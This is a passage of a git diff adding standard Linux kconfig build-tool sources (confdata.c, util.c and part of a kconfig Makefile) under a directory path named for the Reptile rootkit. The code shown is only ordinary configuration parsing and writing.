ap)) +{ + conf_message_callback = fn; +} + +static void conf_message(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + if (conf_message_callback) + conf_message_callback(fmt, ap); +} + +const char *conf_get_configname(void) +{ + char *name = getenv("BR2_CONFIG"); + + return name ? name : ".config"; +} + +const char *conf_get_autoconfig_name(void) +{ + char *name = getenv("KCONFIG_AUTOCONFIG"); + + return name ? name : "include/config/auto.conf"; +} + +static char *conf_expand_value(const char *in) +{ + struct symbol *sym; + const char *src; + static char res_value[SYMBOL_MAXLENGTH]; + char *dst, name[SYMBOL_MAXLENGTH]; + + res_value[0] = 0; + dst = name; + while ((src = strchr(in, '$'))) { + strncat(res_value, in, src - in); + src++; + dst = name; + while (isalnum(*src) || *src == '_') + *dst++ = *src++; + *dst = 0; + sym = sym_lookup(name, 0); + sym_calc_value(sym); + strcat(res_value, sym_get_string_value(sym)); + in = src; + } + strcat(res_value, in); + + return res_value; +} + +char *conf_get_default_confname(void) +{ + struct stat buf; + static char fullname[PATH_MAX+1]; + char *env, *name; + + name = conf_expand_value(conf_defname); + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + if (!stat(fullname, &buf)) + return fullname; + } + return name; +} + +static int conf_set_sym_val(struct symbol *sym, int def, int def_flags, char *p) +{ + char *p2; + + switch (sym->type) { + case S_TRISTATE: + if (p[0] == 'm') { + sym->def[def].tri = mod; + sym->flags |= def_flags; + break; + } + /* fall through */ + case S_BOOLEAN: + if (p[0] == 'y') { + sym->def[def].tri = yes; + sym->flags |= def_flags; + break; + } + if (p[0] == 'n') { + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + } + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + case S_OTHER: + if (*p != '"') { + for (p2 = p; *p2 && !isspace(*p2); p2++) + ; + sym->type = S_STRING; + goto done; + } + /* fall through */ + case S_STRING: + if (*p++ != '"') + break; + for (p2 = p; (p2 = strpbrk(p2, "\"\\")); p2++) { + if (*p2 == '"') { + *p2 = 0; + break; + } + memmove(p2, p2 + 1, strlen(p2)); + } + if (!p2) { + if (def != S_DEF_AUTO) + conf_warning("invalid string found"); + return 1; + } + /* fall through */ + case S_INT: + case S_HEX: + done: + if (sym_string_valid(sym, p)) { + sym->def[def].val = strdup(p); + sym->flags |= def_flags; + } else { + if (def != S_DEF_AUTO) + conf_warning("symbol value '%s' invalid for %s", + p, sym->name); + return 1; + } + break; + default: + ; + } + return 0; +} + +#define LINE_GROWTH 16 +static int add_byte(int c, char **lineptr, size_t slen, size_t *n) +{ + char *nline; + size_t new_size = slen + 1; + if (new_size > *n) { + new_size += LINE_GROWTH - 1; + new_size *= 2; + nline = realloc(*lineptr, new_size); + if (!nline) + return -1; + + *lineptr = nline; + *n = new_size; + } + + (*lineptr)[slen] = c; + + return 0; +} + +static ssize_t compat_getline(char **lineptr, size_t *n, FILE *stream) +{ + char *line = *lineptr; + size_t slen = 0; + + for (;;) { + int c = getc(stream); + + switch (c) { + case '\n': + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + /* fall through */ + case EOF: + if (add_byte('\0', &line, slen, n) < 0) + goto e_out; + *lineptr = line; + if (slen == 0) + return -1; + return slen; + default: + if (add_byte(c, &line, slen, n) < 0) + goto e_out; + slen++; + } + } + +e_out: + line[slen-1] = '\0'; + *lineptr = line; + return -1; +} + +int conf_read_simple(const char *name, int def) +{ + FILE *in = NULL; + char *line = NULL; + size_t line_asize = 0; + char *p, *p2; + struct symbol *sym; + int i, def_flags; + + if (name) { + in = zconf_fopen(name); + } else { + struct property *prop; + + name = conf_get_configname(); + in = zconf_fopen(name); + if (in) + goto load; + sym_add_change_count(1); + if (!sym_defconfig_list) { + if (modules_sym) + sym_calc_value(modules_sym); + return 1; + } + + for_all_defaults(sym_defconfig_list, prop) { + if (expr_calc_value(prop->visible.expr) == no || + prop->expr->type != E_SYMBOL) + continue; + name = conf_expand_value(prop->expr->left.sym->name); + in = zconf_fopen(name); + if (in) { + conf_message(_("using defaults found in %s"), + name); + goto load; + } + } + } + if (!in) + return 1; + +load: + conf_filename = name; + conf_lineno = 0; + conf_warnings = 0; + conf_unsaved = 0; + + def_flags = SYMBOL_DEF << def; + for_all_symbols(i, sym) { + sym->flags |= SYMBOL_CHANGED; + sym->flags &= ~(def_flags|SYMBOL_VALID); + if (sym_is_choice(sym)) + sym->flags |= def_flags; + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + if (sym->def[def].val) + free(sym->def[def].val); + /* fall through */ + default: + sym->def[def].val = NULL; + sym->def[def].tri = no; + } + } + + while (compat_getline(&line, &line_asize, in) != -1) { + conf_lineno++; + sym = NULL; + if (line[0] == '#') { + if (memcmp(line + 2, CONFIG_, strlen(CONFIG_))) + continue; + p = strchr(line + 2 + strlen(CONFIG_), ' '); + if (!p) + continue; + *p++ = 0; + if (strncmp(p, "is not set", 10)) + continue; + if (def == S_DEF_USER) { + sym = sym_find(line + 2 + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + 2 + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_BOOLEAN; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + sym->def[def].tri = no; + sym->flags |= def_flags; + break; + default: + ; + } + } else if (memcmp(line, CONFIG_, strlen(CONFIG_)) == 0) { + p = strchr(line + strlen(CONFIG_), '='); + if (!p) + continue; + *p++ = 0; + p2 = strchr(p, '\n'); + if (p2) { + *p2-- = 0; + if (*p2 == '\r') + *p2 = 0; + } + if (def == S_DEF_USER) { + sym = sym_find(line + strlen(CONFIG_)); + if (!sym) { + sym_add_change_count(1); + goto setsym; + } + } else { + sym = sym_lookup(line + strlen(CONFIG_), 0); + if (sym->type == S_UNKNOWN) + sym->type = S_OTHER; + } + if (sym->flags & def_flags) { + conf_warning("override: reassigning to symbol %s", sym->name); + } + if (conf_set_sym_val(sym, def, def_flags, p)) + continue; + } else { + if (line[0] != '\r' && line[0] != '\n') + conf_warning("unexpected data"); + continue; + } +setsym: + if (sym && sym_is_choice_value(sym)) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + switch (sym->def[def].tri) { + case no: + break; + case mod: + if (cs->def[def].tri == yes) { + conf_warning("%s creates inconsistent choice state", sym->name); + cs->flags &= ~def_flags; + } + break; + case yes: + if (cs->def[def].tri != no) + conf_warning("override: %s changes choice state", sym->name); + cs->def[def].val = sym; + break; + } + cs->def[def].tri = EXPR_OR(cs->def[def].tri, sym->def[def].tri); + } + } + free(line); + fclose(in); + + if (modules_sym) + sym_calc_value(modules_sym); + return 0; +} + +int conf_read(const char *name) +{ + struct symbol *sym; + int i; + + sym_set_change_count(0); + + if (conf_read_simple(name, S_DEF_USER)) + return 1; + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (sym_is_choice(sym) || (sym->flags & SYMBOL_AUTO)) + continue; + if (sym_has_value(sym) && (sym->flags & SYMBOL_WRITE)) { + /* check that calculated value agrees with saved value */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym->def[S_DEF_USER].tri != sym_get_tristate_value(sym)) + break; + if (!sym_is_choice(sym)) + continue; + /* fall through */ + default: + if (!strcmp(sym->curr.val, sym->def[S_DEF_USER].val)) + continue; + break; + } + } else if (!sym_has_value(sym) && !(sym->flags & SYMBOL_WRITE)) + /* no previous value and not saved */ + continue; + conf_unsaved++; + /* maybe print value in verbose mode... */ + } + + for_all_symbols(i, sym) { + if (sym_has_value(sym) && !sym_is_choice_value(sym)) { + /* Reset values of generates values, so they'll appear + * as new, if they should become visible, but that + * doesn't quite work if the Kconfig and the saved + * configuration disagree. + */ + if (sym->visible == no && !conf_unsaved) + sym->flags &= ~SYMBOL_DEF_USER; + switch (sym->type) { + case S_STRING: + case S_INT: + case S_HEX: + /* Reset a string value if it's out of range */ + if (sym_string_within_range(sym, sym->def[S_DEF_USER].val)) + break; + sym->flags &= ~(SYMBOL_VALID|SYMBOL_DEF_USER); + conf_unsaved++; + break; + default: + break; + } + } + } + + sym_add_change_count(conf_warnings || conf_unsaved); + + return 0; +} + +/* + * Kconfig configuration printer + * + * This printer is used when generating the resulting configuration after + * kconfig invocation and `defconfig' files. Unset symbol might be omitted by + * passing a non-NULL argument to the printer. + * + */ +static void +kconfig_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (*value == 'n') { + bool skip_unset = (arg != NULL); + + if (!skip_unset) + fprintf(fp, "# %s%s is not set\n", + CONFIG_, sym->name); + return; + } + break; + default: + break; + } + + fprintf(fp, "%s%s=%s\n", CONFIG_, sym->name, value); +} + +static void +kconfig_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, "#"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } +} + +static struct conf_printer kconfig_printer_cb = +{ + .print_symbol = kconfig_print_symbol, + .print_comment = kconfig_print_comment, +}; + +/* + * Header printer + * + * This printer is used when generating the `include/generated/autoconf.h' file. + */ +static void +header_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: { + const char *suffix = ""; + + switch (*value) { + case 'n': + break; + case 'm': + suffix = "_MODULE"; + /* fall through */ + default: + fprintf(fp, "#define %s%s%s 1\n", + CONFIG_, sym->name, suffix); + } + break; + } + case S_HEX: { + const char *prefix = ""; + + if (value[0] != '0' || (value[1] != 'x' && value[1] != 'X')) + prefix = "0x"; + fprintf(fp, "#define %s%s %s%s\n", + CONFIG_, sym->name, prefix, value); + break; + } + case S_STRING: + case S_INT: + fprintf(fp, "#define %s%s %s\n", + CONFIG_, sym->name, value); + break; + default: + break; + } + +} + +static void +header_print_comment(FILE *fp, const char *value, void *arg) +{ + const char *p = value; + size_t l; + + fprintf(fp, "/*\n"); + for (;;) { + l = strcspn(p, "\n"); + fprintf(fp, " *"); + if (l) { + fprintf(fp, " "); + xfwrite(p, l, 1, fp); + p += l; + } + fprintf(fp, "\n"); + if (*p++ == '\0') + break; + } + fprintf(fp, " */\n"); +} + +static struct conf_printer header_printer_cb = +{ + .print_symbol = header_print_symbol, + .print_comment = header_print_comment, +}; + +/* + * Tristate printer + * + * This printer is used when generating the `include/config/tristate.conf' file. + */ +static void +tristate_print_symbol(FILE *fp, struct symbol *sym, const char *value, void *arg) +{ + + if (sym->type == S_TRISTATE && *value != 'n') + fprintf(fp, "%s%s=%c\n", CONFIG_, sym->name, (char)toupper(*value)); +} + +static struct conf_printer tristate_printer_cb = +{ + .print_symbol = tristate_print_symbol, + .print_comment = kconfig_print_comment, +}; + +static void conf_write_symbol(FILE *fp, struct symbol *sym, + struct conf_printer *printer, void *printer_arg) +{ + const char *str; + + switch (sym->type) { + case S_OTHER: + case S_UNKNOWN: + break; + case S_STRING: + str = sym_get_string_value(sym); + str = sym_escape_string_value(str); + printer->print_symbol(fp, sym, str, printer_arg); + free((void *)str); + break; + default: + str = sym_get_string_value(sym); + printer->print_symbol(fp, sym, str, printer_arg); + } +} + +static void +conf_write_heading(FILE *fp, struct conf_printer *printer, void *printer_arg) +{ + char buf[256]; + + snprintf(buf, sizeof(buf), + "\n" + "Automatically generated file; DO NOT EDIT.\n" + "%s\n", + rootmenu.prompt->text); + + printer->print_comment(fp, buf, printer_arg); +} + +/* + * Write out a minimal config. + * All values that has default values are skipped as this is redundant. + */ +int conf_write_defconfig(const char *filename) +{ + struct symbol *sym; + struct menu *menu; + FILE *out; + + out = fopen(filename, "w"); + if (!out) + return 1; + + sym_clear_all_valid(); + + /* Traverse all menus to find all relevant symbols */ + menu = rootmenu.list; + + while (menu != NULL) + { + sym = menu->sym; + if (sym == NULL) { + if (!menu_is_visible(menu)) + goto next_menu; + } else if (!sym_is_choice(sym)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next_menu; + sym->flags &= ~SYMBOL_WRITE; + /* If we cannot change the symbol - skip */ + if (!sym_is_changable(sym)) + goto next_menu; + /* If symbol equals to default value - skip */ + if (strcmp(sym_get_string_value(sym), sym_get_string_default(sym)) == 0) + goto next_menu; + + /* + * If symbol is a choice value and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv("KCONFIG_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else { + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + if (chdir("include/config")) + return 1; + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir("../..")) + return 1; + + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + + sym_clear_all_valid(); + + file_write_dep("include/config/auto.conf.cmd"); + + if (conf_split_config()) + return 1; + + out = fopen(".tmpconfig", "w"); + if (!out) + return 1; + + tristate = fopen(".tmpconfig_tristate", "w"); + if (!tristate) { + fclose(out); + return 1; + } + + out_h = fopen(".tmpconfig.h", "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + if (rename(".tmpconfig.h", name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + if (rename(".tmpconfig_tristate", name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + if (rename(".tmpconfig", name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv("KCONFIG_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c new file mode 100644 index 0000000..6e7fbf1 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/14-support-out-of-tree-config.patch/util.c @@ -0,0 +1,159 @@ +/* + * Copyright (C) 2002-2005 Roman Zippel + * Copyright (C) 2002-2005 Sam Ravnborg + * + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include "lkc.h" + +/* file already present in list? If not add it */ +struct file *file_lookup(const char *name) +{ + struct file *file; + const char *file_name = sym_expand_string_value(name); + + for (file = file_list; file; file = file->next) { + if (!strcmp(name, file->name)) { + free((void *)file_name); + return file; + } + } + + file = xmalloc(sizeof(*file)); + memset(file, 0, sizeof(*file)); + file->name = file_name; + file->next = file_list; + file_list = file; + return file; +} + +/* write a dependency file as used by kbuild to track dependencies */ +int file_write_dep(const char *name) +{ + struct symbol *sym, *env_sym; + struct expr *e; + struct file *file; + FILE *out; + + if (!name) + name = ".kconfig.d"; + out = fopen("..config.tmp", "w"); + if (!out) + return 1; + fprintf(out, "deps_config := \\\n"); + for (file = file_list; file; file = file->next) { + if (file->next) + fprintf(out, "\t%s \\\n", file->name); + else + fprintf(out, "\t%s\n", file->name); + } + fprintf(out, "\n%s: \\\n" + "\t$(deps_config)\n\n", conf_get_autoconfig_name()); + + expr_list_for_each_sym(sym_env_list, e, sym) { + struct property *prop; + const char *value; + + prop = sym_get_env_prop(sym); + env_sym = prop_get_symbol(prop); + if (!env_sym) + continue; + value = getenv(env_sym->name); + if (!value) + value = ""; + fprintf(out, "ifneq \"$(%s)\" \"%s\"\n", env_sym->name, value); + fprintf(out, "%s: FORCE\n", conf_get_autoconfig_name()); + fprintf(out, "endif\n"); + } + + fprintf(out, "\n$(deps_config): ;\n"); + fclose(out); + rename("..config.tmp", name); + return 0; +} + + +/* Allocate initial growable string */ +struct gstr str_new(void) +{ + struct gstr gs; + gs.s = xmalloc(sizeof(char) * 64); + gs.len = 64; + gs.max_width = 0; + strcpy(gs.s, "\0"); + return gs; +} + +/* Allocate and assign growable string */ +struct gstr str_assign(const char *s) +{ + struct gstr gs; + gs.s = strdup(s); + gs.len = strlen(s) + 1; + gs.max_width = 0; + return gs; +} + +/* Free storage for growable string */ +void str_free(struct gstr *gs) +{ + if (gs->s) + free(gs->s); + gs->s = NULL; + gs->len = 0; +} + +/* Append to growable string */ +void str_append(struct gstr *gs, const char *s) +{ + size_t l; + if (s) { + l = strlen(gs->s) + strlen(s) + 1; + if (l > gs->len) { + gs->s = realloc(gs->s, l); + gs->len = l; + } + strcat(gs->s, s); + } +} + +/* Append printf formatted string to growable string */ +void str_printf(struct gstr *gs, const char *fmt, ...) +{ + va_list ap; + char s[10000]; /* big enough... */ + va_start(ap, fmt); + vsnprintf(s, sizeof(s), fmt, ap); + str_append(gs, s); + va_end(ap); +} + +/* Retrieve value of growable string */ +const char *str_get(struct gstr *gs) +{ + return gs->s; +} + +void *xmalloc(size_t size) +{ + void *p = malloc(size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + +void *xcalloc(size_t nmemb, size_t size) +{ + void *p = calloc(nmemb, size); + if (p) + return p; + fprintf(stderr, "Out of memory.\n"); + exit(1); +} + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/.timestamp b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/.timestamp new file mode 100644 index 0000000..e69de29 diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/Makefile b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/Makefile new file mode 100644 index 0000000..844bc9d --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/15-fix-qconf-moc-rule.patch/Makefile @@ -0,0 +1,322 @@ +# =========================================================================== +# Kernel configuration targets +# These targets are used from top-level makefile + +PHONY += oldconfig xconfig gconfig menuconfig config silentoldconfig update-po-config \ + localmodconfig localyesconfig + +ifdef KBUILD_KCONFIG +Kconfig := $(KBUILD_KCONFIG) +else +Kconfig := Kconfig +endif + +# We need this, in case the user has it in its environment +unexport CONFIG_ + +xconfig: $(obj)/qconf + $< $(Kconfig) + +gconfig: $(obj)/gconf + $< $(Kconfig) + +menuconfig: $(obj)/mconf + $< $(Kconfig) + +config: $(obj)/conf + $< --oldaskconfig $(Kconfig) + +nconfig: $(obj)/nconf + $< $(Kconfig) + +oldconfig: $(obj)/conf + $< --$@ $(Kconfig) + +silentoldconfig: $(obj)/conf + $(Q)mkdir -p include/generated + $< --$@ $(Kconfig) + +localyesconfig localmodconfig: $(obj)/streamline_config.pl $(obj)/conf + $(Q)mkdir -p include/generated + $(Q)perl $< --$@ $(srctree) $(Kconfig) > .tmp.config + $(Q)if [ -f .config ]; then \ + cmp -s .tmp.config .config || \ + (mv -f .config .config.old.1; \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + mv -f .config.old.1 .config.old) \ + else \ + mv -f .tmp.config .config; \ + $(obj)/conf --silentoldconfig $(Kconfig); \ + fi + $(Q)rm -f .tmp.config + +# Create new linux.pot file +# Adjust charset to UTF-8 in .po file to accept UTF-8 in Kconfig files +update-po-config: $(obj)/kxgettext $(obj)/gconf.glade.h + $(Q)echo " GEN config.pot" + $(Q)xgettext --default-domain=linux \ + --add-comments --keyword=_ --keyword=N_ \ + --from-code=UTF-8 \ + --files-from=$(srctree)/scripts/kconfig/POTFILES.in \ + --directory=$(srctree) --directory=$(objtree) \ + --output $(obj)/config.pot + $(Q)sed -i s/CHARSET/UTF-8/ $(obj)/config.pot + $(Q)(for i in `ls $(srctree)/arch/*/Kconfig \ + $(srctree)/arch/*/um/Kconfig`; \ + do \ + echo " GEN $$i"; \ + $(obj)/kxgettext $$i \ + >> $(obj)/config.pot; \ + done ) + $(Q)echo " GEN linux.pot" + $(Q)msguniq --sort-by-file --to-code=UTF-8 $(obj)/config.pot \ + --output $(obj)/linux.pot + $(Q)rm -f $(obj)/config.pot + +PHONY += allnoconfig allyesconfig allmodconfig alldefconfig randconfig + +allnoconfig allyesconfig 